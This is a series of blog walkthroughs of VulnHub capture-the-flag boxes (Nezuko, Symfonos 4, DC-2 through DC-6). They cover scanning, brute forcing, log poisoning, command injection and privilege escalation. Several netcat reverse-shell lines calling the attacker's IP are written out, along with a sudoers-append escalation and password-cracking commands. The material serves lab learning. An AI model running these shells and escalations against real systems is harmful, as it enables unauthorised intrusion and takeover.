VulnHub Nezuko: 1 Walkthrough

Today we are doing nezuko: 1 from VulnHub. As usual, I also have a video walkthrough that you can find here.

This is a beginner level box and doesn’t take too long to get through.

We start of with our nmap scan: nmap -sV -sC -v 192.168.2.131 -oN map1

nez1

 

There’s a webport so let’s take a look at that.

nez2

Ok weird but whatever. Let’s see if there’s a robots.txt file.

nez3

There is and it’s a weird string. It kind of looks like base64, but it’s not. I’m not going to go into this here as the challenge is a little bit of a time suck. In the end it gives a rather pointless hint.

After finding the robots.txt file, I also ran a gobuster search: gobuster dir -u 192.168.2.131 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

It produced one directory that was basically a dead end. I decided to run another nmap scan as I worked on the string from the robots.txt file.

nmap -sC -sV -v -p- -oN map2 192.168.2.131nez4

And this would make solving the string puzzle utterly useless. Here we find another web page. This one is using SSL so we’ll need to add https along with the port.

nez5

Here we confirm it’s a login page. Let’s check the version from the nmap scan and see if it’s vulnerable.

nez6

It looks like there’s a remote code execution vulnerability available. Let’s check it out.

Using searchsploit -m 47293 will copy it to the directory you’re in.

nez7

This exploit is really just a vuln scan. It doesn’t exploit anything but that doesn’t mean we can’t make it do what we want. There was also a Metasploit module available which works perfectly fine too if you want to go that route.

First, let’s just run this and see if it’s vulnerable.

nez8

Ok so this is a problem. After some quick searching it turns out that this can happen when copying scripts from a Windows environment to Linux. Opening it in a plain text editor and doing another copy paste seems to get rid of the bad character causing the problem.

nez9

Once we run it, the script confirms it’s vulnerable. Now let’s modify it to get a shell.

Basically, this script is sending a command (echo ‘flag’) and then searching to see if it executed. So if we just replace the echo command with a netcat reverse shell, we should get a connection (assuming netcat with the -e flag is on the box).

nez10

Once the code is in place, we set up a listener, run the code and …

nez11

nez12

We get a shell as nezuko!

Let’s see upgrade our shell.

It turns out that python2 is not installed, but we can still use python3.

nez13

Now let’s see what we can get into.

Looking at the /etc/passwd file we see two users … and a password hash!

nez14

Let’s crack the hash with hashcat. I copied the hash into a file and sent it to my Windows machine for cracking. Your command will be slightly different if using Linux.

hashcat64.exe -m 1800 nez.hash wordlists/rockyou.txt

After a few seconds, we get a password back … meowmeow

nez15

Let’s become the zenitsu user.

nez16

Ok now we’re zenitsu. Unfortunately, zenitsu does not have sudo permissions. Let’s see if there’s anything in the user directories.

nez17

Looking at nezuko’s directory it looks like zenitsu is asking nezuko out every 5 minutes. That’s a little creepy, obsessive, and stalkerish, but maybe we can use this to our advantage. Let’s look at zenitu’s directory and see if there’s a script.

nez19

nez18

Ok we did find a script and we’re able to write to it. Let’s add a netcat line and see if we get a shell back.

We’ll setup another netcat lister on our attack machine first: nc -nlvp 8888

echo ‘nc 192.168.2.126 8888 -e /bin/bash’ >> send_message_to_nezuko.sh

Next I just cat the file to make sure my code was appended.

nez20

Looks good. Now we wait …

After a few minutes we get a shell back

nez21

And we’re root!!!

Let’s get the final flag.

nez22

That was nezukochan. It’s not too difficult. The obscure hint took more time to track down for me than actually rooting the box. That might have been fine except that the hint doesn’t really help unless you’re really new at this stuff. If that’s the case, then you’d probably struggle decoding the hint as well.

If you’d like to see a video walkthrough where I show the Metasploit module and string decoding you can find it here.

 

Happy Hacking!

-R3a50n

VulnHub Symfonos: 4 Walkthrough

For this walkthrough we will be looking at Symfonos: 4 from vulnhub. This was fun because I got to do some port forwarding and a pickle attack that I hadn’t done before. So let’s get started.

Here we run our typical nmap scan and see an open web port.

sym4-1

Navigating to the page we see a pretty background and that’s about it. Let’s run a gobuster and see what we get.

sym4-2

So gobuster found a gods directory which has some log files.

sym4-3

sym4-4

So the log files just contain a description of the gods. Interesting but not helpful right now. Let’s do another gobuster search but look for php extensions.

sym4-5

sym4-6Now we find two new pages. Going to sea just redirects us to atlantis.php which is a login page. After trying some default logins without any results, I move on to some SQL injection. After a few tries admin’;– works.

sym4-7

Selecting a god from the list takes us to a familiar description.

sym4-9

It looks like the php script is including the log files we found earlier, but it’s appending .log to the end. Let’s see if we can find any other logs.

sym4-28

Here we can see the auth log that gets populated through SSH. Looking back at our nmap scan, SSH is open. Let’s test it out.

If you haven’t made a snapshot of the system, I would recommend it at this point. It is very easy to mess up the logs. Quick reverts are immensely helpful.

sym4-10

We can see the log populate the username, so let’s try to poison it with PHP code.

sym4-11

Now let’s see if we can get a shell.

sym4-12

Ok so now we have a webshell. Let’s see if we can upgrade that to something better. I start up a netcat listener and run a netcat command in my webshell

sym4-13

And now we have a shell!

Let’s upgrade it with python.

sym4-14

What you can’t see after the stt raw -echo is that I hit enter and then fg and enter again. The netcat commands you see is just leftover from the previous terminal commands that show up when you’re switching from background to foreground.

Anyway, now that we have a better shell to play with, we can work on escalation. After some basic attempts to escalate, I tried running netstat only to find that it’s not available. That’s kind of interesting since this is a Debian system and it’s usually included by default. So I decided to run ss instead.

sym4-15

It looks like there’s an internal webpage that we can’t see. Let’s fix that with some port forwarding. There are different ways to do this, but it turns out that socat is installed on this box. That makes this easy.

What we’ll do is create a connection that will forward the internal port to an external one that we can view with our browser.

sym4-16

Now if we brows to port 7000 we should see something interesting.

sym4-17

Not only did we get a page, but a big hint. It redirected us to a whoami directory and said a cookie is set to Poseidon. If you look at the passwd file you can see Poseidon is the only real user on the system.

Since it mentioned a cookie, let’s look at it.

sym4-18

Using BurpSuite, we can reload the page and intercept the request. Here we see the username contains a base64 string. Let’s decode that. I’ll just send it over to the burp decoder.

sym4-19

Ok, we see the username Poseidon and some sort of python object. I had no idea what this was. Google to the rescue!

It turns out this is a json pickle. Reading this https://versprite.com/blog/application-security/into-the-jar-jsonpickle-exploitation/ helped me figure out what to do next.

From the VerSprite page, I notice something familiar. A call for a python object.

sym4-20

Since this is a cookie, I assumed that the base64 string would be passed back to the rest of the code and then decoded. So let’s see what happens if we copy this code, encode it into base64 and send it back. The only difference is that instead of running whoami, I’ll try to get a shell.

Now let’s setup a listener and see what happens.

sym4-21

sym4-22

sym4-23

sym4-24

Nope didn’t work. After looking at the exploit a little more closely, I realized that it was using subsystem.Popen to make the system calls. That’s not the only option in Python. Let’s try it with something else like os.system.

sym4-25

sym4-26

After making the change we get a shell. Now who are we …?

sym4-27

We are root!

 

Well that’s it for Symfonos 4. I hope you enjoyed the walkthrough. If you’d like to see a video walkthrough you can find it here.

 

-R3a50n

VulnHub DC-6 Walkthrough

Hi All,

We’re moving on to DC-6 for this walkthrough.  It was actually much easier than DC-5 which I wasn’t expecting. If you wan t to watch a video walkthrough, I have one here.

Normally, we would start off with our Nmap scan, but there were some notes from the author we should pay attention to first. The first was to add wordy to our /etc/hosts file.

dc6-1

The second was to create a wordlist. cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt

This will come in handy later.

Now we can run the nmap scan. nmap -sC -sV -v 192.168.2.129 -oN map1

dc6-2

So it looks like there’s a WordPress site on port 80. Let’s check it out.

dc6-3

Typing in the IP address will get redirected to wordy. This is why you needed to set the etc/hosts file. If you didn’t, then your browser would ether not display it right, or you might be directed to a default internet search.

Clicking around the site, it seems they are very proud of their security plugins. You can also see a user Jens Dagmeister who has limited experience with developing secure plugins.

dc6-3-2

Since this is WordPress, let’s run wpscan.

dc6-4

 

In my scan, I chose to enumerate (-e) which will also tell me some user names.

dc6-5

Now I put these users into a file called users for future reference, but also for brute forcing. We can do that with wpscan as well.  Remember that password file we made earlier? This is the time to use it.

wpscan –url http://wordy -U users -P passwords.txt

dc6-6

Now that we have mark’s password, we can login. (http://wordy/wp-login.php)

Looking at the tab Activity monitor you can see our brute force attempt … woops 😊

dc6-7

This Activity monitor is certainly the security plugin they were so proud of mentioning earlier. Let’s see if it’s vulnerable.

dc6-8

Running searchsploit on activity monitor leads us to a command injection vulnerability. Let’s check it out.

dc6-9

So the PoC says just change the IP and Port. That’s not exactly true. For one, you need to give it the correct URL. In this case wordy. Also, if you leave in the -nlvp, you’re creating a listener on the victim machine, not your attack machine. That won’t work for a reverse shell so get rid of it. Then change the IP to your attack machine, and the port to whatever you want.

Keep in mind that in real life, this will only work if the victim has netcat and the -e flag, and bash. When trying command injection, you might want to try to capture a ping back to your attack machine or other enumeration techniques before trying random shells.

Anyway, the trick now is how to deploy it. You can’t call Firefox from the command line to open the file. That will force re-authentication with WordPress. Instead you need to open it from a new tab using the URL bar.

Instead of starting it with http:// your use file:// then the full path to your modified html file.

dc6-10

Once the page loads, you should see a Submit request button. Before you press it, start a listener using netcat.

dc6-11

Now press Submit request and you should be greeted with a shell.

dc6-12

Now let’s upgrade our shell with python.

dc6-13

After I enter stty raw -echo, I’m pressing fg then enter. This returns me to the shell. The netcat commands are just left-over artifacts that pop up. You can safely hit enter and it will ignore them.

Now at this point, I would usually look for the SQL password in the WordPress config file, grab some password hashes and start cracking. In this case, that’s not going to get us anywhere.

Instead, we’re going to search through the user directories. In the home directory we find graham, jens, mark, and sarah. A quick search of those directories shows that jens has a backup script, and mark has some stuff.

dc6-14

Looking in jens folder at the backup script shows that it’s just taring the web directory. Something to keep note of.

In mark’s stuff directory there’s a file called things-to-do.txt. This file contains the password for graham.

dc6-15

So let’s login as graham.

dc6-16

Now that we’re graham, let’s see if we have any sudo permissions.

dc6-17

We do … but only to run jens backup script. Still, if we can modify the script, we can become jens. Let’s see what the permissions are.

dc6-18

This is great! Because we’re in the devs group, we can write to the backup script. Let’s modify it to run bash. Unfortunately, we’ll have to use vi to do this. You may find this helpful if you’re like me and hate vi.   http://www.atmos.albany.edu/daes/atmclasses/atm350/vi_cheat_sheet.pdf

dc6-19

All I did here is comment out the tar backup and add in a call to bash.

Now let’s run it with our sudo permissions and hopefully become jens.

dc6-20

Awesome! Now we’re jens. Let’s see what permissions we have now.

dc6-21

Ok, so we can run nmap as root. There’s a shell escape for certain versions of nmap, but this isn’t it. Let’s check out GTFO bins and see what else we can do with it.

dc6-22

dc6-23

It looks like we can still get a shell with nmap by using its script functions. GTFO bins is having you make a temp variable to hold the command. I’m just going to make a regular file because it’s faster and I don’t care about writing to disc.

dc6-24

Once the command is echoed into a file, use sudo to call the nmap as root while invoking your malicious script. You should end up as root.

Keep in mind the note from GTFO bins that echo will be disabled. While it’s not necessary, one way to get things back to normal is to copy and paste in the python shell upgrade. python -c ‘import pty, pty.spawn(“/bin/bash”)’. At least this way you’re not typing blind.

Now to get the root flag.

dc6-25

The circled section above is where I put in my python command. Obviously, you can’t see it because echo’s off, but you can see the rest of my input is being displayed.

That’s all for DC-6. This one was certainly easier than some of the others. Still, I hope you enjoyed the walkthrough and found it helpful. I also have a video walkthrough that you can see here.

 

Happy Hacking!!

-R3a50n

 

VulnHub DC: 5 Walkthrough

Hi All,

I’m back and finally ready to walkthrough DC-5 from VulnHub. This one was much harder than the previous DC boxes but teaches some important skills. You can also find my video walkthrough of it here. Now let’s get started.

We start off with our usual nmap scan.

dc5-1

Here we see a web port with nginx running. The nginx part will be important later. For now let’s just visit the website.

dc5-2

Navigating through the site doesn’t reveal much. Let’s run gobuster and see if we can find anything more.

gobuster dir -u 192.168.2.128 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

Running this command will produce the following results:

dc5-3

Most of these we’ve already seen just from navigating the site, however, thankyou.php is new. You can also find it by completing the contact form.

The thankyou.php page doesn’t look too interesting until you refresh it a few times

dc5-4

dc5-5

The footer changes dates. You can see where this is coming from by looking at footer.php from our gobuster scan. Since this is weird behavior, let’s try a local file inclusion (LFI) method and see if that works.

dc5-6

The ?file=/filepath is common but not exclusive. We could have used a program like wfuzz to run through multiple possibilities quickly, but we didn’t need to.

Now we can read any file we have rights to. Let’s see if we can find the log files. Remember the nmap scan? Because of that, we know that this server is nginx. Let’s see if we can read the configuration file for nginx. If you don’t know where it is, Google is your friend.

dc5-7

We now know where the access and error logs are stored. Let’s see if we can read those.

dc5-8

We can read them. If you get to this point and you can’t see the logs, try reverting the box. I had to do that a few times when the logs just wouldn’t show up.

We can also see our previous viewing of the password file and our user agent. From here, we can attempt to poison the logs and get code execution. We can do this by sending PHP code in our user agent string. I’m going to use curl to do this, but BurpSuite would work as well.

dc5-9

Here I sent the whoami command inside some PHP code as the user agent. Let’s check the log page now.

dc5-10

We have code execution! Let’s see if they have netcat installed. I’ll run the curl command again but change whoami to which nc.

dc5-11

Let’s hope it has the -e flag. First, we’ll setup our netcat listener (nc -nlvp 7777) and then send our netcat reverse shell to the logs. Once we refresh the log page, we should have a shell.

dc5-12

dc5-13

 

And we have a shell!

Let’s upgrade it with python

dc5-14

After the python command I’m pressing ctl-z to background the connection. Then I type stty raw -echo followed by fg to bring the connection back to the foreground (which you can’t see on the screen). That allows me to have ctl-c, tab auto complete, up arrow history etc.

Now it’s on to privilege escalation.

I’ll run linuxprivchecker.py (I’ve renamed it here to privcheck.py) but I’ll have to bring it over. To do that, I’ll start a python web server and then use wget to do the file transfer.

dc5-15

dc5-16

Now I can run it with python and view the results

dc5-17

This SUID set screen file stuck out to me as interesting. It’s not normal to see it here and screen is used for terminal sessions. I’ll run searchsploit against the version listed and see if I get any hits.

dc5-18

Ok it looks like it’s vulnerable to a privilege escalation exploit. There’s only one problem. It doesn’t work out of the box. The script doesn’t seem to follow the EOF markers like it should. It might be fixable as a whole, but it’s easier for me just to break it up manually. Thankfully the code isn’t too hard to follow.

There are three main stages to this exploit. Two compile steps and a final exploit step.

dc5-19

These three sections should be broken out as shown. The .c files should keep their names exactly. The sh file can be called whatever you want. Compile the .c files using the gcc commands in the script making sure to change the file paths to fit your environment. You’ll get some warnings, but that’s ok.

dc5-20

When you are done compiling, you should have a libhax.so, rootshell, and your script file.

dc5-21

Now I’ll bring the files over with wget.

dc5-22

Now I’ll set the script permissions to execute and run it.

dc5-23

And we’re root!!!

Now for the flag …

dc5-24

That’s DC-5. Like I said earlier, this was a lot harder than the previous DC boxes in the series. It does cover some solid techniques that pentesters should know. I did have a problem with the access logs not showing up at all. There were a few times I had to revert the box to get it to work which was really annoying.

Anyway, I hope you enjoyed the walkthrough. If you would like to see a video walkthrough that does a better job explaining the privilege escalation exploit, you can find it here.

 

Happy hacking!

-R3a50n

 

VulnHub DC: 4 Walkthrough

DC: 4 is another vulnerable machine hosted by VulnHub. This one the author rated a little tougher (beginner/intermediate), and that’s probably accurate. It’s not too tough but there’s certainly some things that would throw off beginners. Let’s jump in!

As usual we will start off with an nmap scan

namp -sC -sV -v 192.168.2.113 -oN map1

dc4-1

Here we see that port 22 and 80 are open. We can also see the version of nginx running.

You can run other nmap scans, but this is literally all that’s open. So, let’s check out the web page.

dc4-2

This is interesting, but that’s really all we get. The source page doesn’t reveal anything. Performing scans with gobuster, you can find some other directories and file name, but they all redirect back to this page. This really only leaves us with a couple of options. We can brute force this page, SSH, or try to find an exploit for nginx.

A quick search of nginx vulns doesn’t yield anything. We also don’t have any usernames for SSH. That leaves us with brute forcing this page.

There are a couple ways to go about this. We can use BurpSuite or Hydra. There are some issues though. The free version of BurpSuite will throttle (slow down) the brute force attempt as it goes along. It’s doable, but it takes a while.

Hydra does not have this issue, but the syntax is a lot more complicated. If not done correctly, it will give you false positives (that will actually still work if you keep the session alive).

For this walkthrough, I used BurpSuite Pro. It doesn’t have the throttling issue and is just easier to setup. It will work exactly the same as the free version. There’s just a speed difference. If you want to see how Hydra works with this, you can find a video walkthrough here where I go through it.

So start up BurpSuite, and set your browser proxy for http on 127.0.0.1 port 8080. I use the Firefox extension FoxyProxy but you can set it in options menu as well.

Now turn the proxy OFF just for the first interaction and put in admin for the username and test for the password and hit Submit.

dc4-3

The reason we turn it off the first time is because of the way it handles session cookies. You don’t have to turn it off, but then you’ll have to forward the first couple requests. It’s just faster to do it this way.

Now, turn the proxy on, re-enter the credentials, and press submit again. You should catch the request. If you’re trying the hydra route, you’ll need this session cookie and the request string at the bottom.

dc4-4

Now send it to intruder either with the right click menu or pressing ctl I and go to the positions tab.

Now, press the clear button, highlight the password variable (test in this case), and press the add button.

At this point you should only have the squiggly symbols around test.

dc4-6

Next go to the Payloads tab and press the Load button under the Payload section.

dc4-7

This will prompt for a word list. Do not use the rockyou wordlist in BurpSuite. It’s too big and it will crash. It’s fine for Hydra if you’re going that route.

I’m choosing a list from https://github.com/danielmiessler/SecLists. The nice thing is that the password can be found in many of these lists. I’ll go with the darkweb 2017 top 1000 this time.

Once it’s loaded, press Start attack.

dc4-8

Your output might vary slightly, but happy is the correct password. You’ll notice that everything after that password was entered will now authenticate. This is because of the session cookie. This is also why Hydra might show false positives.

dc4-9

Making sure that your proxy is off, login with the password happy (or anything else as long as you didn’t reset your session cookie).

Click on the command hyperlink.

dc4-10

On the command screen, you’ll see some options to run. Pick one of them and see what it does.

dc4-11

In my case, I chose to list files and it ran the ls -l command. Let’s catch it with our proxy and see if we can run other commands.

dc4-12

Once the command is caught, send it to Repeater using the right click menu or pressing ctl r. Notice that the command string is using a + for a space. We’ll need to remember that for later.

For now, change the command to whoami and click go

dc4-13

We have command injection! Let’s get a shell.

There’s a lot of ways you can do this. I used the which command (which netcat) to identify that netcat was on the box and used that.

Start a netcat listener on your attack machine.

nc -nlvp 7777

In the command, put in nc+-nv+192.168.2.30+7777+-e+/bin/bash

Make sure you have the right IP and port for your machine, and that the syntax is correct. An error here can easily hang this box and you’ll have to restart it. If you didn’t get the right password, this would be extra frustrating. 😊

Next press Go and you should be presented with a shell.

dc4-14

Let’s upgrade it with python

python -c ‘import pty; pty.spawn(“/bin/bash”)’

dc4-15

Now let’s see what we can get into.

We can’t sudo because we don’t know the www-data password. There’s no database running (like with WordPress) so we can’t look for those credentials. Let’s look at the user directories and see if there’s anything interesting there.

dc4-16

dc4-17

Inside the /home/jim directory there’s a backup folder with a listing of passwords.

Since we have usernames and a password list, let’s brute force SSH starting with Jim’s account.

For this, we’ll use Hydra. Copy over the list first. You can use a variety of methods, but the most straight forward approach is to just copy and paste it. Then launch hydra

hydra -l jim -P pass.txt ssh://192.168.2.113

dc4-18

After a little bit, hydra comes back with the password jibril04

Now we can ssh in as Jim.

dc4-28

Jim doesn’t have sudo permissions either, so let’s go back to his directory and look at some of the files we couldn’t get to before.

dc4-19

Looking at mbox, we can see a test email sent by root. There seems to be a vulnerable version of Exim running, but I couldn’t get that exploit to work.

Let’s see if there’s other mail we can read in the mail folder. It’s kept in /var/mail

Inside the mail directory is an email to Jim with Charles’s password. Let’s su to Charles.

dc4-29

Now that we’re Charles, we find that sudo is available for a program called teehee.

dc4-21

Running this program produced something that looked like echo. Whenever a command was entered, it just spit it back out.

dc4-22

Let’s look at the help file.

dc4-23

It looks like it has some sort of file write capabilities, but I was a little lost on how to use it. I also couldn’t find any reference to this binary on Google. I then went to GTFOBins https://gtfobins.github.io/ to see if it was mentioned there.

dc4-24

While they didn’t have anything for teehee, they did have something for tee. That made me think that the binaries might be similar. I did a help on tee.

dc4-25

Notice anything? The help file is exactly the same.

We should be able to use the commands in GTFOBins to get root. The way tee (or teehee in this case) is that it writes to a file AND to standard output. This is useful when you want to capture output of a command and see it run at the same time.

In this case, we can use our sudo permissions to write our output to any file. There are some options here. You could write to the shadow file and make yourself root, or you can write to sudoers and sudo to root. I’m going to go the sudo route.

We will echo the parameters we want to write to sudoers and pipe it to teehee which will append the output (the parameter itself) to the sudoers file. It will look like this:

echo “charles  ALL=(ALL:ALL) ALL” | sudo teehee -a /etc/sudoers

Once we have that in, we can sudo to root.

dc4-26

And we’re root!!

Let’s get the flag!

dc4-27

That’s all for DC: 4. It was a little more challenging than the others, but still not too hard for beginners. If you want to see a video walkthrough where I also show how to use Hydra you can find it here.

DC: 5 is next on the list.

 

Happy Hacking

-R3a50n

VulnHub DC: 3 Walkthrough

Next in the VulnHub DC series is DC: 3 and while it’s still for beginners, it’s little more challenging than the first two. If you’d rather see a video walkthrough, you can find it here.

The first thing we’ll run is an Nmap scan: nmap -sC -sV -v 192.168.2.112 -oN map1

dc3-1

The only port that’s listed is 80 and it’s a Joomla site. Let’s check it out.

dc3-2

Ok, so there’s not much here other than a note letting us know that there’s not going to be flags or hints with this challenge. Since this is Joomla, let’s run joomscan. If you don’t have it, you can find it here https://github.com/rezasp/joomscan.

./joomscan.pl -u http://192.168.2.112

dc3-3

dc3-4

So here we found two useful things. We found the version number (3.7.0) and an administrator login page. We’ll come back to the admin page later. Let’s see if the version is vulnerable.

A quick Google search yielded a lot of results including the following page with a list of PoC code.

dc3-5

Joomblah, sounded somewhat familiar to me (I probably read something about it when it was released) so I went for that one first.

After downloading the raw python code, you simply run it against the URL.

python joomblah.py http://192.168.2.112

dc3-6

Here we are awarded with the hash for the admin account. Time to get cracking!

Now it’s easy to assume that this hash will be a Joomla hash (type 400 in hashcat), but it’s not. Hashcat will give you a length error or something like that.

Online tools and things like hash-identifier in Kali couldn’t tell me what it was either. In the end, I just browsed through the hashcat examples until I found one that looked similar.

dc3-7

Next I ran hashcat and was rewarded with the password snoopy.

Hashcat64.exe -m 3200 joomhash.txt rockyou.txt

dc3-8

Now we can log into the joomla site, but we don’t want to do it from the main page. We want the administrator page that was identified earlier.

dc3-9

dc3-10

Now we need to find a place that we can either upload code or write code. Joomla has templates which contain php code. If you didn’t know that, you can find it just by navigating through the different site options, or do a Google search for Joomla shell.

dc3-11

dc3-12

dc3-13

So I chose this modules.php file, but really any of them should work. The important thing is that you find the path. In this case, the path can easily be found through some trial and error. First check for a templates directory. Then beez3 followed by html. If you didn’t realize there was a templates directory, then a bruteforcer like gobuster would have found it for you.

Anyway, you should see a directory listing for /templates/beez3/html/

dc3-14

The next thing we need is some php code. Using the command locate webshell on our Kali box presents us with a bunch of options. I like the php-reverse-shell.php.

dc3-15

Once copied over, just make sure to change the port and IP address so it will call back to the attack system.

dc3-16

Now we’ll overwrite all of code in modules.php with our php code (you might want to make a backup of the modules.php code first). Also double check and make sure you IP and port are correct.

dc3-17

Now let’s start up a listener.

nc -nlvp 7777

dc3-18

Now we click on the modules.php file and we get a shell!

 

dc3-19

Let’s upgrade the shell to support tty. This box only has python3 so we’ll make sure to specify that in the command.

python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

dc3-20

Now it’s time for privilege escalation. Unlike DC: 1 and DC: 2, sudo and su are not going to help us. Let’s take a look at the kernel and see if we can find an exploit there. These two commands will help with enumerating versions.

uname -a

cat /etc/lsb-release

dc3-21

Another thing we can do is run an exploit suggester. I like this one: https://github.com/mzet-/linux-exploit-suggester

Since I already have it on my Kali box, I’ll just pull it over from there. First I’ll start a python http server. Also note that I changed the name of the file to linsug.sh because I hate long file names. 😊

python -m SimpleHTTPServer 80

Then I’ll use wget to bring it over to the DC: 3 box.

wget 192.168.2.16/linsug.sh

dc3-22

We’ll also need to make the file executable.

chmod +x linsug.sh

dc3-23

Now run the file with ./linsug.sh

dc3-24

So here’s where you have to start digging in. Not all of these are going to work. Some of them flat out say they are not reliable. A couple of the exploits suggested are Dirty Cow which I’ve used on a few other occasions. I, however, could not make it work.

One of the first on the list, was put out by project-zero. It seemed to fit the environment and gave a link to the exploit code so I gave it a shot.

dc3-25

I pulled it over to the box with the same python server we used before. Now run the following commands to extract it.

unzip 39772.zip

cd 39772

tar -xvf exploit.tar

Now navigate to the ebpf_mapfd_doubleput_exploit directory

dc3-26

Now run chmod +x on compile.sh and run it ./compile.sh. You should end up with a file called doubleput. It threw some errors for me, but it still seemed to work.

dc3-27

Now run doubleput. ./doubleput

dc3-28

And we’re root!!!

Now let’s get the flag!

dc3-29

 

That’s it for DC: 3. It was a decent step up in difficulty from the last two boxes, but still not too bad to work through. I hope you found the walkthrough helpful. DC:4 is next! If you want to see a video walkthrough where I use SQLmap instead of Joomblah to get the hash, you can find it here.

 

Happy Hacking,

-R3a50n

VulnHub DC: 2 Walkthrough

We went through DC: 1 not too long ago, and now VulnHub has DC: 2 – DC: 6 up to play with. DC:2 is another beginner-oriented box that has some good techniques to play with.

If you want to see a video walkthrough, you can find that here.

We start off with our usual Nmap scan: nmap -sV -sC -v 192.168.2.109 -oN map1

dc2-1

Here we have one open web port, with an important message. Because of the redirect, we need to add dc-2 to the /etc/hosts file.

dc2-2

Let’s check out the website now.

dc2-3

It’s WordPress! Let’s look at the Flag tab.

dc2-4

This is a pretty big hint. Cewl will crawl a website and generate a list of passwords from it. It’s also indicating that at least two users accounts can be compromised. Let’s run cewl first.

Cewl http://dc-2 -w wlist.txt

You’ll want to use the -w command to create the file instead of redirecting with > otherwise you’ll get the banner in your wordlist as well.

dc2-5

You can see from running cat on the list, that cewl pulled words 3 characters in length or greater. There are other customizations you can do with cewl, but this will serve our purposes just fine. Now we need to get a list of users. It’s time to run wpscan.

dc2-6

At the time of this post, wpscan was broken in the latest update of Kali Linux. Similarly, the Metasploit module for user enumeration broke as well. So, you can either use a previous version of Kali, or do what I did and install wpscan on Ubuntu.

With wpscan, it will do its enumeration and then run the password brute force on the users it enumerates. You can also do it in stages, but I wasn’t expecting this attack to be overly long and cumbersome.

wpscan –url http://dc-2 -P wlist.txt -e

dc2-7

dc2-8

Ok now we’re getting somewhere. We have credentials for two accounts. Logging in with Tom doesn’t yield anything, but Jerry does … Flag 2.

If you didn’t know what the default wordpress login was called, you could have Googled for it, used a scanner like nikto, or a directory brute forcer like gobuster to find it.

Anyway … using the login page at http://dc-2/wp-login.php will get you there.

dc2-9

The flag is indicating that WordPress might be vulnerable but that’s not the only way.

Let’s do another Nmap scan on all the ports and see what we find.

Nmap -p- -sC -sV -v 192.168.2.109 -oN map2

dc2-10

 

Ok, here we see that SSH is open on port 7744.

We can’t login with Jerry, but Tom gets us right in.

dc2-11

We have a problem though. We can see a flag but we’re once again in a restricted bash shell.

dc2-12

This time, unfortunately, SSH is not going to help us with the bypass.

This is where you’ll need to do some research. Start mapping out the commands you can use and cross reference those with rbash bypass techniques that you can find online. Listing available commands with compgen -c can help.

Vi, for example, is a command we have access to and has a shell command built in with :! /bin/bash. This doesn’t work however, but there’s a manual way to do the same thing.

:set shell=/bin/sh

:shell

I found this bypass at https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/ after a quick Google search.

After running vi and setting the command shell escape, we successfully bypass rbash. There’s still and issue, however. Commands still aren’t working.

dc2-13

We can see from looking at our path that it’s still set to the restricted directory.

dc2-14

Let’s set it to a more normal place. The two directories you’ll want to add are /bin and /usr/bin.

export PATH=$PATH:/bin:/usr/bin

dc2-15

Now we can do stuff. Let’s read that flag!

dc2-16

So this is a fairly obvious thing to try regardless of a hint. I mean we already have creds for Jerry so let’s log in as him.

dc2-17

Jerry is apparently not root. Let’s check some sudo permissions.

Sudo -l

dc2-18

Jerry has sudo permission for git. I have a pretty good idea where to go from here but let’s check one thing first. The user home directory might have something interesting.

In the /home/jerry directory was another flag with a final hint. Git is mentioned again and a very subtle hint for gtfobins. https://gtfobins.github.io/

GTFObins has a listing of different compromise techniques based on commands. In this case we’re looking for git.

dc2-20

Yep this looks promising!

dc2-21

What GTFObins is telling us here is that git -p help uses the command less to display the help file. Less has a shell escape similar to what we did with vi. By using sudo, we’re calling less as root and therefore the shell we spawn will also be root.

Let’s try it!

dc2-22

And we’re root!!!

dc2-23

So that was DC: 2. It was fun learning some alternate rbash escapes and it was probably the first time I’d use git to escalate permissions. Once again, you can find a video walkthrough here.

Anyway, I hope you enjoyed the walkthrough.

 

Happy Hacking!

-R3a50n